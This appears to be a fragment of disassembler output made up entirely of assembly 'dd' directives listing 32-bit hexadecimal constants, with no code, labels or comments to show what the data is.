		dd 0A0B98894h, 0FD7E1348h, 231C2F07h, 44A3BE9h,	46F920C0h
		dd 7BA0C009h, 0EF1A8838h, 422F8A04h, 94A2C655h,	4274B050h
		dd 636611FBh, 0F4392A89h, 0CE451057h, 0F8A59543h, 6120A035h
		dd 0EF3BCD13h, 1D15F0F3h, 0AB008C47h, 535C24A9h, 0BD0060A3h
		dd 47F05D0h, 901297FCh,	4B5120BCh, 9E4E2490h, 0ED88508Bh
		dd 0A54946C0h, 0E82E07FCh, 75CD68EAh, 61D83C55h, 0CDC8B4A9h
		dd 0C0223A2Bh, 0BDD8843Dh, 0B9C6FA44h, 68852734h, 3E9AE888h
		dd 5D278A2Fh, 0FB14C1h,	0DAC1FAA7h, 0A0592852h,	9418D279h
		dd 0F9E0EA02h, 0E1826DD5h, 0C89062C1h, 88908E67h, 0C8F24916h
		dd 6602B5F8h, 3BFD54DEh, 2880F046h, 3E6025B3h, 0E200A66Fh
		dd 635B2019h, 5CB30328h, 0FD27E305h, 0B0227C5Ch, 3E0A2558h
		dd 0F2C1E8CDh, 0C0F8B054h, 6F0A821h, 95B800CCh,	5EE1282Ah
		dd 0AE1482D1h, 80B0868Eh, 0EF75B26Eh, 0C7E81E5Ah, 3A9FC394h
		dd 1BB0A280h, 145C1A68h, 6F0D918h, 9AB4F451h, 0C654093Fh
		dd 5F165444h, 0A4C3BC62h, 92BD8039h, 0E0418A59h, 0E49F1256h
		dd 27B41694h, 3D9903ADh, 12707D13h, 0E574A01h, 0A3155094h
		dd 4C6069C8h, 39C0C449h, 238841F3h, 0CB426A1Ch,	7D950E80h
		dd 115F174h, 0C7F8DA3Fh, 20142298h, 0FE41ADC4h,	40A481D0h
		dd 1E069EEFh, 0EC044A60h, 0B1401810h, 0B50729C1h, 5613A072h
		dd 9025A4h, 73CF46h, 2385EB49h,	40F5E50Bh, 0F6A838h, 7991BD7Bh
		dd 10619DABh, 24215EDh,	5323C820h, 0E4C8659Fh, 0C956001h
		dd 2EB4A09Eh, 81611064h, 162000FDh, 0EEA7A8BEh,	220676FAh
		dd 0C85C4394h, 80977413h, 680C78C8h, 0A4EF25BCh, 0FD60704Dh
		dd 20FBFh, 927DA36Eh, 45617483h, 40779926h, 6A2C4E00h
		dd 93BE354h, 4480C1ADh,	4FF874ACh, 0F12B6300h, 2E8B1021h
		dd 2C89E79h, 0EF25E4BFh, 82F3B00h, 1E0500F5h, 8D06DC38h
		dd 6200030Dh, 0D2E5EBECh, 29AF782Bh, 0D1646592h, 4C1854h
		dd 94D6D765h, 923CF60Eh, 0C538A903h, 0E52611h, 62A18889h
		dd 849E8F06h, 0F7F34402h, 5CD4F87Dh, 26EC2370h,	0B9F40858h
		dd 0E97F6700h, 98A7DA0h, 0A8071121h, 0E7E204C5h, 61D0183Ah
		dd 0C99D3D00h, 972C1BC3h, 3C29EB03h, 0A8EB7E05h, 1DA40BCDh
		dd 3C078872h, 0BAC2C774h, 9B118801h, 6E0498FBh,	0AEB50068h
		dd 47F22E92h, 5600F35Ch, 0E9B8A386h, 1279CA1Fh,	0F340CF1Ch
		dd 304BA2BCh, 5200FD9Eh, 3C5CE64h, 7F5AE76h, 0AF7D0294h
		dd 6169C244h, 41008C76h, 0D5675AC4h, 344B459h, 4AF8B54Dh
		dd 0ECC4A483h, 8C50BC14h, 0DB979B00h, 0F6D5B0DCh, 8E85825h
		dd 50682480h, 0CC04205Fh, 1E7F07A3h, 3B88F4h, 0E25F0FDh
		dd 47786C27h, 0F9022AB0h, 29412B5Eh, 97704C96h,	0C04ED49Bh
		dd 0B0AEC40h, 0B7D62B2h, 7A41E955h, 0A17AE852h,	89640309h
		dd 2E0424F4h, 10BF9260h, 11817E23h, 8AD303EBh, 0C00A8FBFh
		dd 24B3C37Fh, 260367A0h, 0AD6A30h, 7F6F46A8h, 94EEB286h
		dd 18B0F9B8h, 30892A20h, 0E8F1491Ch, 0AA00934Dh, 0F9477443h
		dd 0E0A5805Bh, 0A7F301D0h, 4A9BFE94h, 0A808F048h, 1424D9EEh
		dd 6006CC1h, 9CDC03B8h,	0C11261A1h, 30E61843h, 9DF18Dh
		dd 86E2878h, 69C727EFh,	0B3103046h, 9002C538h, 0C2F8D1D6h
		dd 0B4B9A704h, 5C09F3B8h, 4EC022F0h, 0A7DF2DD8h, 0FC4018CFh
		dd 911E21DBh, 639000A8h, 0E7F97CB6h, 3C37282Eh,	62EA4108h
		dd 0C700A887h, 966349D3h, 7EC807BCh, 2E41C572h,	1D82344h
		dd 0AF7E0C87h, 49E604Eh, 1C20C550h, 0A76CF109h,	2F180008h
		dd 27611B89h, 14C885A4h, 45004434h, 0EF4F652h, 5EC60A9h
		dd 0C5D633AFh, 94EC00C0h, 24F73C0Fh, 3AF8A5A1h,	0EB23942Fh
		dd 8D68CA00h, 977E32E3h, 8048C4E2h, 29D71CDh, 0B73C9D4Ch
		dd 0DC298280h, 58C0BBAAh, 0EAFF7849h, 0C0D6E0F8h, 2C4CCCBh
		dd 0F84F303Bh, 421F099Bh, 3C606882h, 0D890B03Ch, 7000FC4Bh
		dd 0AD0C4023h, 17DC9034h, 0CBDEA768h, 13BAC4F8h, 8814E231h
		dd 0B586CB8h, 0F490A018h, 520E57A7h, 40067213h,	0F2C4D1F6h
		dd 9B142421h, 689A08DCh, 0CB01930Eh, 7EBCB009h,	0F61D09A7h
		dd 2C7BAEFDh, 0A1E9D0h,	12F40287h, 685BB1F5h, 0FA0DF7E6h
		dd 0A9B32AEEh, 2D49C441h, 90153474h, 7017F944h,	0B832B508h
		dd 673DC01h, 0F89007E0h, 0F8284CC5h, 7CC47C89h,	16027E46h
		dd 3AC5ACEAh, 7B105231h, 0F63CEA2Eh, 0DD41308h,	0ED9D68C2h
		dd 1585C09Ch, 4527620Eh, 597C8B1Ah, 60847BF0h, 2CC79203h
		dd 23C068Eh, 0A4AC9968h, 53718079h, 9014318h, 65C6AFD5h
		dd 407CD979h, 4020271Dh, 0A0B1335Fh, 0C2749162h, 9D8DB700h
		dd 10E98C97h, 157A2F4Ch, 5820B844h, 272613C5h, 254421AFh
		dd 0F07E006Bh, 0F1C8AA58h, 18D77994h, 0B69700C5h, 0C88F96F8h
		dd 6118C449h, 53B1F675h, 30ED66BDh, 3C5EB2BBh, 0CBE7C820h
		dd 0A9DCA84Dh, 0A068484Bh, 812E89h, 8A14B07Fh, 0B4F831D0h
		dd 88B62013h, 5DCFE9B0h, 170ADF02h, 77630436h, 67A11018h
		dd 0C00DFB04h, 0D8C2A8F6h, 9C642B15h, 820069F8h, 0C36D67FBh
		dd 0B54D701Ch, 0CC23DC27h, 0C00543D1h, 31202A07h, 5448F8C2h
		dd 0E4171258h, 4978C10h, 0F0F920E0h, 0F81C78ACh, 9C24358Fh
		dd 47FD070Bh
		dd 604F6418h, 4F51C629h, 0DB4405Dh, 0BB2AE340h,	4D026892h
		dd 1278DA22h, 0B6246CF3h, 0D6465600h, 3ADAD26h,	0CBD00B02h
		dd 80C861BAh, 301609F8h, 81C3AA8h, 0A0F5050h, 0A0F41D24h
		dd 16BC8008h, 0F4925A05h, 5F9EB8F0h, 0E1C097B6h, 81C4246Ah
		dd 34B1CA18h, 4A70968Eh, 863A2D4Eh, 7300B8B7h, 56B2ECA5h
		dd 50408107h, 4A3D89E4h, 0D83FA427h, 0A1692EDCh, 8E9F8A60h
		dd 0C50787C0h, 759232ADh, 74F2F0EAh, 6169C813h,	162E60F0h
		dd 92B6AC37h, 24649F8Ch, 82652500h, 0B5A89C51h,	609775C4h
		dd 0B86A1867h, 0C6045955h, 701E7117h, 343E44B0h, 1894551h
		dd 43E33DE4h, 9D70241Bh, 38FC97BFh, 141E1446h, 0CDB7C1FCh
		dd 44EA1209h, 15252064h, 0BE404112h, 7D169C5Dh,	1804CF0h
		dd 12152EFBh, 0FA359052h, 0F35C5840h, 3D3C8282h, 0E9F604DBh
		dd 54F84068h, 461C440h,	17B4A0EDh, 84E8CEAFh, 92303AE8h
		dd 0C00032E1h, 0B0ED9674h, 2302EB3h, 67B4A6FEh,	48D6D5B1h
		dd 984B2400h, 0B7A0806h, 108420F8h, 0EA4474E7h,	0CBFDC960h
		dd 404FF92Dh, 998BDB8h,	12435E2h, 305928ABh, 2318D879h
		dd 12FD5E02h, 40670E90h, 82603848h, 4C0F9040h, 9E14794Ch
		dd 0B1C82F81h, 0E085D2B5h, 52691DB6h, 745CC8E4h, 0D93AE301h
		dd 0A8B5C251h, 7D114890h, 11941F9Fh, 3014804Bh,	48EF889h
		dd 7C442FCDh, 25C78345h, 859FA0F8h, 40C0904Bh, 9CA4824h
		dd 410D2B73h, 50DA5805h, 0AF1E9CE0h, 0B0259468h, 0C12B7E84h
		dd 0E8CF5D23h, 0CBF2F9BEh, 970F5C00h, 0DF3CAE84h, 9DF8C498h
		dd 1F2E01BCh, 48F28829h, 907AD830h, 0F0C64C54h,	3EAF0913h
		dd 3EB2368h, 8C59806Eh,	93F5703Ch, 0E83AFC40h, 7B004B23h
		dd 0F6B3E10Fh, 81E81F3Ah, 0C07EC429h, 1344EDD5h, 28B3148Fh
		dd 0B23056B2h, 0A69E3FE2h, 45200C4Ch, 4A3AF320h, 104CF6FAh
		dd 7C045505h, 0F45630F0h, 87403160h, 4D910F6h, 0A0F51DAAh
		dd 0E47DC24h, 97182FA0h, 0B75301B5h, 4A6009D6h,	8C002A9Ch
		dd 0F988EFF5h, 6F7F2794h, 1344B0D8h, 17780B24h,	0B89DBDCDh
		dd 0A80EE11h, 0ECB1D754h, 0D0B77EAh, 0EDA73DF8h, 1E4260A0h
		dd 3009EF5h, 9587AFF4h,	61A1460Fh, 0F07D7176h, 36D4289Ch
		dd 196413h, 43BD020Dh, 19047F64h, 682D5102h, 0DC4681D5h
		dd 9321E68h, 0B4C035EDh, 0C26D1FCh, 3D8674AFh, 16186A66h
		dd 0F24C3C20h, 417D1114h, 122B8D00h, 1079C9AFh,	0D4125C5Ah
		dd 7B705804h, 0AB694818h, 0F94B80h, 67C129D7h, 0AFC58A3h
		dd 0BE87A500h, 623CF6B1h, 60E4A282h, 1DF46198h,	43FC3E9Ah
		dd 5B592E44h, 0AEFDF5B8h, 1D4DE82h, 0DED7F83h, 0AFC5075Ah
		dd 41348CB0h, 89FA60D1h, 70B8B86Bh, 0C55B3EB8h,	3DAD3C0Fh
		dd 0AA6D7B0Eh, 908C3011h, 1038E46Bh, 4A59C8C0h,	41180165h
		dd 0BBC56C62h, 0DE219059h, 164F5924h, 9A6817E1h, 0C77DC040h
		dd 3B38CD28h, 0A280A14Fh, 7177EB67h, 6810F890h,	719C16C5h
		dd 79614C99h, 48A7047Ch, 45AFEA78h, 0ECEE554Ch,	8C52EC40h
		dd 0D2500703h, 902576B7h, 16BF6D26h, 0B4880F62h, 30F0A19Ch
		dd 0EE0379EAh, 9AEC259h, 5326F9D3h, 3FAD75E8h, 2B84E42Fh
		dd 0ECE1FC4Ah, 3CE884F0h, 460E421h, 7200FCB2h, 0EF2D845Ah
		dd 6E9571DBh, 0E77F4AACh, 64B422DCh, 0BA6C500Eh, 3DE3D005h
		dd 0C288D4FCh, 878E04Bh, 0E1E389E9h, 0ED91AF40h, 805BC4D0h
		dd 18D14D16h, 1B25B401h, 5EB8F1E6h, 0E080442Eh,	2C085289h
		dd 78A784CCh, 2458ECD0h, 9D699CCAh, 804F116Ch, 6C19397Fh
		dd 77940B12h, 0CCE2A0F0h, 0D144E867h, 4E72C160h, 3D573800h
		dd 0CFEB4A74h, 441800F0h, 7961BFA1h, 0C2FF7F3h,	2D8C6401h
		dd 5440AC7Ah, 21B522A7h, 0BAEE8AF0h, 0AD15BC41h, 7930DCh
		dd 0ECD4BA8h, 81694B6h,	0A122C52Dh, 0A1A37A74h,	95609E4h
		dd 7B6664E3h, 178990D1h, 2AB8D211h, 7EC4C1Bh, 90155E98h
		dd 1FBEE01Ah, 2048F59h,	0A09F8172h, 451CA4h, 0C83116C3h
		dd 5A8D601Bh, 0D196CF00h, 2E302BA1h, 909E03AFh,	18B25F89h
		dd 0E33D6809h, 0A2C07242h, 89607924h, 50E85CC0h, 0AC118E67h
		dd 5900F022h, 85749796h, 613AF173h, 0F76F00E2h,	88A74811h
		dd 82433968h, 0D060CDA7h, 3527F4F3h, 88109D3Fh,	0EC603AE7h
		dd 0E4AB72h, 5054D709h,	9EC07A2Fh, 8CC0704Ah, 0B669D5CDh
		dd 1865A5F4h, 0DB60ECE4h, 7748A118h, 305F245Ch,	3F7CD049h
		dd 0B8091422h, 60A0028Ch, 0F7FE2E78h, 251C0D58h, 344A5A5h
		dd 81526C00h, 985125h, 0B746E380h, 0EA215BA1h, 2FAF903Fh
		dd 0C6BC80B4h, 99E9D551h, 0C41C12C0h, 8064F85Ch, 0E6A803EBh
		dd 17AF1FB0h, 5449C0E4h, 0FF24E5BEh, 80817890h,	0D1FE0057h
		dd 1DC1C0E8h, 0FAF75011h, 3D462D02h, 7819F567h,	39304B0h
		dd 8121C236h, 13B8DCh, 9DC9040Eh, 9C539C18h, 3C4BC4Ch
		dd 924187F4h, 25A17A24h, 7C92D9B1h, 3FD2384Bh, 0A00B2452h
		dd 59F5824Ah, 2D404070h, 0F77FEC5Ch, 58CB8900h,	8BF03299h
		dd 0DDE2002Ah, 1C8F7BCDh, 0B0F43728h, 0BF027BB0h, 0BEFAA7F6h
		dd 95E850B3h, 6DC02C6Dh, 0B09358Bh, 0F78569C6h,	0E42000FAh
		dd 0F6C03AEBh, 1E54304Ah, 0F53892F2h, 0C878857Ch, 0B04F5321h
		dd 0C0A1893Ch, 5B496648h, 5B6CC035h, 84A445DEh,	0AAB79702h
		dd 0F228E3CAh, 684E02CCh, 8ACB9FADh, 6483B841h,	98957844h
		dd 0C4F9AD0Ch, 0BA9EE950h, 4C00786Bh, 0D2B6751Dh, 9D015663h
		dd 51660E62h, 4000E881h, 69B0C446h, 860F84Eh, 4060D87Ch
		dd 0D52767A8h, 1C1083D9h, 6BA086AFh, 0E46708F3h, 0E861E964h
		dd 0E871DAFBh, 0ECA15187h, 3D3C0878h, 90087C26h, 0B07F0EAAh
		dd 158C0996h, 50C49467h, 0A2128064h, 0F504C206h, 9B1C875h
		dd 0B520D8B0h, 0B88E5035h, 297C80E0h, 9084FCDCh, 9238055Ch
		dd 49B0A16Dh, 0C4C096C8h, 0F0A67B90h, 82E47920h, 138C284h
		dd 77FEA584h, 15C2A028h, 25C2ADEAh, 7E80A0E5h, 0CA4EEA2Dh
		dd 39C120Bh, 46E060C7h,	11C7DF24h, 33715DB7h, 922F2A36h
		dd 0F8AB01F8h, 0A1775050h, 0C3FABCA8h, 6539FC67h, 0C8E822A4h
		dd 804BC20Bh, 0D022CC4Bh, 24C7D3Eh, 20564D91h, 405CA0D3h
		dd 64A63709h, 14D02D3Ch, 0EC288CA2h, 0D696801h,	5E134028h
		dd 9BB00004h, 0BC8592DEh, 557E69C0h, 0F3A51A9h,	4679AFB2h
		dd 0F9803F42h, 55D13859h, 91008A18h, 73E815A6h,	917ABFBEh
		dd 51698ABCh, 0A88593CCh, 8CEEBCDCh, 561BF703h,	882154E8h
		dd 8679BE34h, 7DA43A01h, 141F85B8h, 60A0D070h, 0A95141F7h
		dd 0A40104C7h, 0F1D9C0FAh, 0D84C2D33h, 0F43D4461h, 58BDCE25h
		dd 408122Ch, 1EC823C4h,	80A0ACC4h, 2E32CCE1h, 87440117h
		dd 9B3F799h, 47F9FD23h,	6E8718E0h, 0B9B96551h, 2E2A9D04h
		dd 3B02103Ch, 38D804C0h, 0A86BA170h, 0C0E86DD9h, 7A4A73CCh
		dd 0EE1CC495h, 4562120Fh, 0E488C04Eh, 0D89C5CD1h, 9E87F305h
		dd 0FF23D82Fh, 0D9DE2501h, 443F6648h, 16B2670h,	0C778F896h
		dd 9008502Dh, 0BE00FD01h, 0EEF630B0h, 0E067E23Fh, 0A75C2Dh
		dd 33A52E80h, 8400B159h, 36CA1430h, 0E61DD8Dh, 8513643Eh
		dd 0F2340892h, 84BC0412h, 801828Bh, 0E00675D5h,	0B400CB5Dh
		dd 67FD4F26h, 95EE129h,	6B08EA07h, 9C9034D0h, 5EDF7120h
		dd 7C10A2ADh, 1097916h,	3727D000h, 2FE252E3h, 1C51C9B1h
		dd 18E62017h, 0A216D6B0h, 0F724F3E2h, 0E7409C1Dh, 132BA533h
		dd 1CF96062h, 67052244h
		dd 75C07D96h, 64DBA456h, 0AA8F108Bh, 7D4F001Fh,	0F5E39322h
		dd 0B1BE4604h, 30B8BA70h, 0EAF0784h, 20618589h,	674CB4D0h
		dd 82E9D3C0h, 78D80DF4h, 52A71725h, 0C871007Ch,	3A4DB664h
		dd 70FE6BAh, 0C0AFDD2Eh, 801BA779h, 2E421h, 354F727Ah
		dd 316C3BA8h, 0C0F7FC4Bh, 8BBBDAA0h, 0A70B7208h, 1CBC9812h
		dd 0EA01106Ah, 0A6749B80h, 8473705Dh, 50A1C111h, 659D3404h
		dd 216E18CCh, 91D727E3h, 91045CE0h, 39F40998h, 54D994E2h
		dd 863B0178h, 885F3098h, 119ED420h, 21271AFh, 9256DCB2h
		dd 30563C4Ch, 56467Ch, 0AB3494EDh, 9F85E29Eh, 4E792820h
		dd 0AAE6C9AFh, 1AE88003h, 8A496518h, 99784311h,	0C82AF1FEh
		dd 17404B40h, 24450BF0h, 2C87C266h, 842048ECh, 5433120h
		dd 4879C07Ch, 0F80C6010h, 20844D6Ch, 0B102428Dh, 1E4008F7h
		dd 0C678482Dh, 8F94969h, 1B30D13h, 4A318A1Ah, 38CC3E7Ch
		dd 0C0D64080h, 0EC52CA90h, 35C117DCh, 0D288588Fh, 8A91D6C0h
		dd 2EA7983h, 68EC995Bh,	686A4DCDh, 18CA0C89h, 0B8381855h
		dd 0AA66314Bh, 38F6D9A1h, 36468074h, 0F64ADEE2h, 62A781C4h
		dd 0B7E10058h, 585DA0CFh, 51890072h, 0B6088CE0h, 5700E394h
		dd 12AEC7C0h, 0C06792AFh, 78251EB1h, 421F1B2Ch,	0A8069C43h
		dd 1699501Ch, 0F200B07h, 16A06278h, 0A584CAD4h,	0EE1E63E0h
		dd 726FFD5Bh, 1D0E18B0h, 0F941394Ah, 3A954000h,	819D527Dh
		dd 603F00FAh, 6D64B8A3h, 79132E9Bh, 0B8904962h,	2B3171Dh
		dd 90C196C7h, 0A275C47Ch, 12E649A8h, 4B59FCD1h,	0AA1C7718h
		dd 8DC0FCEFh, 0B8C83AECh, 92F319FAh, 0F535763Dh, 1C2F2B11h
		dd 0C21E5623h, 0BF89F6C0h, 9A77E66h, 22AD3B1Eh,	2CD600D6h
		dd 103C402Fh, 98C809D5h, 490066F0h, 652D8428h, 0D214A090h
		dd 4AB9820h, 0BF03EEE7h, 2630A4CEh, 0C8F83304h,	3EEE9E9Fh
		dd 3EB23D4h, 0CC616340h, 0F04681ACh, 84BC2248h,	2CE4C9FAh
		dd 203C5BF5h, 0FB7DA17Ch, 6DD70B1Dh, 4A59FA98h,	0A2B41E96h
		dd 0BFA70022h, 0DB341841h, 5205D827h, 807E4820h, 4C224080h
		dd 0E1B8F1CDh, 18908D7Eh, 1494C095h, 28155E2Dh,	884B400h
		dd 66A129DAh, 4DAD0D58h, 9F80D4BFh, 863D6743h, 0E608C492h
		dd 92A8B505h, 0D1F8A0C1h, 0DC29CCA9h, 2AB7D434h, 0D204163Ch
		dd 66FA4BF8h, 0B05E38D4h, 0D8B44884h, 810A5B3Eh, 77C8880h
		dd 0C7FB3301h, 6BE92078h, 5E090860h, 69E07878h,	0FC5047h
		dd 7C3C4610h, 8B05DA17h, 0A5490838h, 0A45A88B8h, 0C02890A5h
		dd 2F28E8BCh, 583F05FDh, 308C9697h, 0B8044C1Ah,	0C0EE537Fh
		dd 1D4F308h, 30C87E96h,	4E597BFh, 3C6052E4h, 0DAE4EC0Bh
		dd 0B2985A00h, 7962675h, 7E2E060Ah, 6065B0F8h, 0C2A37D00h
		dd 0E501B27h, 0BB22F868h, 6FC47020h, 7C737818h,	8F1768h
		dd 82C7C274h, 2C8CAC79h, 458A4207h, 40F0EECFh, 195863Eh
		dd 0E33FE7Ah, 8043A570h, 0E04B8720h, 57670Ch, 41CD2795h
		dd 422E8925h, 0B7588EF2h, 0FA180C0h, 787E9A34h,	35FD0090h
		dd 6FF980Dh, 262483ADh,	950040C2h, 189B5643h, 5AE000Eh
		dd 0BE13C4BFh, 7100ED88h, 96087601h, 1AD6622h, 89B3B737h
		dd 0F0198067h, 880BFC78h, 563CF742h, 29405794h,	31FC3EE3h
		dd 408F84Eh, 11AC012Eh,	63F92820h, 2B2F105Ah, 87720810h
		dd 201AA518h, 8C61603h,	6318F47Eh, 78904134h, 20955920h
		dd 8837EF75h, 38B40873h, 0C516904h, 404B3958h, 77407EF0h
		dd 25284050h, 641AE440h, 4DC893Dh, 97061CCAh, 9E361036h
		dd 2051C194h, 0CC337A29h, 10B22817h, 10E2C671h,	8D0D6115h
		dd 88F0400Ah, 0D7BB721h, 0C729F322h, 1DFE4018h,	0A94F1308h
		dd 8984484h, 0EA34D1F6h, 9E115181h, 22DC0362h, 0EB62FE19h
		dd 66D98B9h, 0BA20A17Bh, 0DE0D2096h, 98094833h,	0A2B1105Fh
		dd 60361857h, 0C8F6EA08h, 7F086389h, 315818CAh,	738147A0h
		dd 0FF703988h, 82A5A08h, 0F51E696Fh, 6353260h, 0E8A26B88h
		dd 0FD02DBC8h, 0B8B6058Fh, 0FC262AECh, 4003CD44h, 90403BCEh
		dd 201F6664h, 0F9206994h, 25F7316Eh, 8D93C340h,	8549110h
		dd 0A701E3F5h, 4ECE0142h, 2CC9701h, 7794A3CBh, 0DC403922h
		dd 0F840B5C0h, 8F84401Eh, 645FB0A8h, 811008DCh,	380EED19h
		dd 0B8EC51F8h, 5034016Ah, 0ECDD0888h, 63A94D1Ah, 0F1081091h
		dd 5F0D103Fh, 105BB110h, 0E310762Fh, 538A1033h,	1092E810h
		dd 0E010D4F4h, 7E9C1061h, 5C5CE610h, 37A440B2h,	329141D9h
		dd 0F7025188h, 8F53108h, 3818EFEEh, 834DB181h, 0D00396F2h
		dd 6050330Bh, 0C110C289h, 2A10703Ah, 0D8B22A47h, 0EE09254h
		dd 40333C40h, 6540AB62h, 54BC9222h, 406BC004h, 81C4447Ah
		dd 0A40CE0D8h, 31408929h, 0E6C4A914h, 0D6B73988h, 846AF08h
		dd 0DD185799h, 0C412B3D9h, 4495888h, 670445ADh,	0C75063Bh
		dd 234A31D8h, 20DDB08h,	0A6C849DAh, 0E63129BBh,	1677A08h
		dd 6F016C17h, 183601CFh, 410308Ch, 69648908h, 7043DA9h
		dd 41F10C6Fh, 814E66F4h, 0AE20082Dh, 51EC60F0h,	8539690Eh
		dd 0D0150B9h, 2CC52A96h, 0F0071C74h, 323D3002h,	0D9863710h
		dd 0A101B170h, 633BC5FFh, 0F874E24Eh, 7C9028h, 803ECBCFh
		dd 0B60C05F8h, 0DAB17700h, 0FA1B784Ah, 1C4D589Eh, 98BE7080h
		dd 2E00EE03h, 4132A25Fh, 401D1E79h, 572CA3DEh, 6500A818h
		dd 4F25F164h, 7F10C039h, 0FACC1104h, 0A0A94A12h, 0EA0058F8h
		dd 2D6378C2h, 1200A6BDh, 0B1C783FBh, 214E8Ah, 0AF307A1Eh
		dd 4AD13413h, 9F25AE0Ch, 5C6138h, 89068FF1h, 0A01861AAh
		dd 0A8C05972h, 4AC2C5B1h, 6F65281Eh, 0C07194h, 0DA5192AAh
		dd 1C5EF141h, 9F0FA3Ah,	486EA152h, 1DE6536Ch, 41F5F973h
		dd 85A44432h, 24003F2Ch, 0B65F113Fh, 6ED000B7h,	48A5BC2Bh
		dd 0DA005686h, 0ABB32430h, 60CBCC25h, 0F154A014h, 9D000691h
		dd 423696B6h, 0A27D5ED9h, 0C1846884h, 0C2A50AF8h, 809C12h
		dd 30BCBE10h, 0B0357E6h, 858E42B6h, 2580C66Ch, 0A4E84A13h
		dd 0AF0A87C6h, 84675EE0h, 0C4BABF01h, 9850D81Ch, 7C68BBBh
		dd 7F123B7Bh, 56351Eh, 0E6069384h, 0D0C73D88h, 9CF05EF9h
		dd 0BC402610h, 0DFB40010h, 0A01437D2h, 88800F4Bh, 1FF2553h
		dd 0BD6AF5AAh, 8EACBBA1h, 0C02F9418h, 655A2689h, 0B07750FBh
		dd 41E629h, 69A796DDh, 98B4247Bh, 0E6A0BD26h, 0D8AB9D00h
		dd 0EE0A0CADh, 0EE9F0E71h, 30F39D9h, 0C4B9BF60h, 9043BC0h
		dd 639A114Bh, 6961480h,	0C4B25488h, 0C65CA0E9h,	0CF4A1CAh
		dd 90F816EFh, 1C4BDB7h,	2E962BA7h, 6024AAA0h, 81E14F1Ch
		dd 408DBBDCh, 25180388h, 3BF9C9EBh, 0A029B001h,	0E1938AEAh
		dd 22DC94FFh, 34729D38h, 0A27D9900h, 6A3953DDh,	882D0A16h
		dd 0AB07AC1h, 45D85027h, 92D8C0C0h, 9F48DA59h, 0AFC05019h
		dd 0F5F1CB70h, 3718070h, 41C5E62Ah, 0AAB73A65h,	430EF79Eh
		dd 0A1DC8815h, 78245800h, 0F926DA49h, 7C38CCB0h, 90EA7A10h
		dd 80B452h, 0CC6F1E27h,	0C3C9953h, 6E56298Dh, 852D9B11h
		dd 0AD4000ACh, 12FA61A0h, 27418410h, 0EFAAC090h, 0C32888D6h
		dd 4262A009h, 7C968518h, 160D027Ch, 40426223h, 0ECDA004h
		dd 0D4E16A06h, 825048BAh, 406A5825h, 6E8E5DCh, 0EE051F45h
		dd 9F1428ACh, 88DBBBh, 0EDDA797Ch, 1E7F621Ch, 7B6DE08h
		dd 0C96F0AAAh, 22017485h, 0C4067C8h, 78A0BABDh,	39C21BC3h
		dd 412A099Dh, 430C608h
		dd 83A200ACh, 855A38A9h, 809291D9h, 20C71833h, 0A7580390h
		dd 49A9242Dh, 2800A872h, 9E18B127h, 90BCA1h, 0D6E6DB52h
		dd 0F99743BFh, 4B00157Ah, 9551A965h, 0C9CA3885h, 0CC08ADD0h
		dd 1927E250h, 0C680A0D4h, 227E4B32h, 6C923388h,	10131590h
		dd 10200780h, 2B8DC6h, 0AC4763EEh, 1E347E0Bh, 0ABC0A012h
		dd 0D5021840h, 4C676C2Bh, 7712C415h, 0C46C0468h, 0C5B4C1E2h
		dd 0B9E1D3D2h, 39188F41h, 6AFCC7BDh, 5877A191h,	317E4892h
		dd 0F1B3FDDCh, 0CD084071h, 0A214A9A6h, 1E8C36F6h, 0B071DB85h
		dd 0CB200B10h, 0F8EC6C59h, 40042B31h, 6F57251Ch, 0EFBC6702h
		dd 0D8F38460h, 24A20C92h, 68A88975h, 0FC859A44h, 943D5267h
		dd 0AF14C098h, 7E360490h, 92209859h, 0A0C53CB0h, 43B45724h
		dd 96BD4326h, 0F22F6010h, 85600135h, 8093B514h,	12201E41h
		dd 7834A0F8h, 7DE56704h, 53C44B9Ah, 8EEF4380h, 200890A8h
		dd 132642EEh, 6716E046h, 2F906C01h, 0B08AF4A0h,	884049AEh
		dd 1C007311h, 50961BEh,	1D88BC7Bh, 31BF599Fh, 0BDBE103Fh
		dd 33F3009Dh, 2624A815h, 9CA97219h, 5B9C2074h, 24BC7741h
		dd 0AC163E1Ch, 0E8850644h, 10D3D1A8h, 78A5B05Fh, 0F9290FC8h
		dd 2D81013Fh, 13B1727h,	0BC508DACh, 26A00860h, 16609793h
		dd 2F7400F2h, 12AB3DAEh, 491C490h, 8CC4AF08h, 3F48105Ch
		dd 0B58D1C00h, 7E201276h, 0F1E0029h, 0BDC447C5h, 0A63F70A5h
		dd 35E80048h, 0B3A17D42h, 9AAE0378h, 878125C1h,	4029D002h
		dd 44B9BC32h, 0A19F1090h, 2EBF3CC6h, 690740C9h,	1D127EDAh
		dd 0B28D2FCh, 7B415529h, 7EFD0C2Eh, 4505258Ah, 0F16C899Ch
		dd 0D57BC30h, 59BB6E1Dh, 8049216h, 0D701CFA1h, 0CC87C114h
		dd 10E8F92Bh, 63171512h, 582F20Bh, 4A09FA8h, 0A0300CA1h
		dd 0C2385A8Dh, 279E8E5Ch, 136CE43Ch, 44AB1D06h,	6EEC668h
		dd 2CD6EAC3h, 80A46288h, 27B4F91Eh, 4CF8BA3Bh, 71C08B40h
		dd 6C3302A2h, 8D878578h, 30E22C41h, 9C484D00h, 28750F48h
		dd 83852238h, 23944893h, 14C7741Bh, 0A482BDB2h,	79428C4h
		dd 9869489Bh, 207E84h, 0F4541630h, 0BC9BA53Eh, 51588300h
		dd 0E402C33h, 934C98C8h, 478B1DB4h, 0A0801C45h,	57AF7EBBh
		dd 0EBFBAC02h, 805AF8D9h, 34885FF0h, 36160A35h,	508E980h
		dd 16637C1Eh, 246C00A0h, 0F809B094h, 0AB5C3271h, 0FB23029Dh
		dd 0E89BA49Fh, 191BE9DCh, 0D0BE2D58h, 3FF8207Ch, 0BFBC3014h
		dd 4D7E0070h, 8C057318h, 68AD2832h, 0BBD488ABh,	92930685h
		dd 8978B34h, 0C689AD00h, 265EFAF0h, 0B001EC95h,	7091A0h
		dd 2454F4E3h, 428012CDh, 3460007Bh, 0BD599B7Dh,	13F86EBFh
		dd 0B44C622Eh, 42C7C96Fh, 0E6B44088h, 59DA1346h, 0A01020F9h
		dd 69000737h, 13B10124h, 0F853F63Ch, 8ABD0794h,	8290BE16h
		dd 986006BCh, 0E12C2445h, 8B00A0D8h, 800E7B92h,	8564249Bh
		dd 12DD0E2Eh, 0C5C94224h, 4744859Ch, 2A561CE8h,	859304F0h
		dd 0F78A830h, 21A59DF0h, 0B1D91E54h, 8830C055h,	7434F78h
		dd 6DF69A6Ch, 148A69AEh, 258244C8h, 60CC78D4h, 0F9EC3E52h
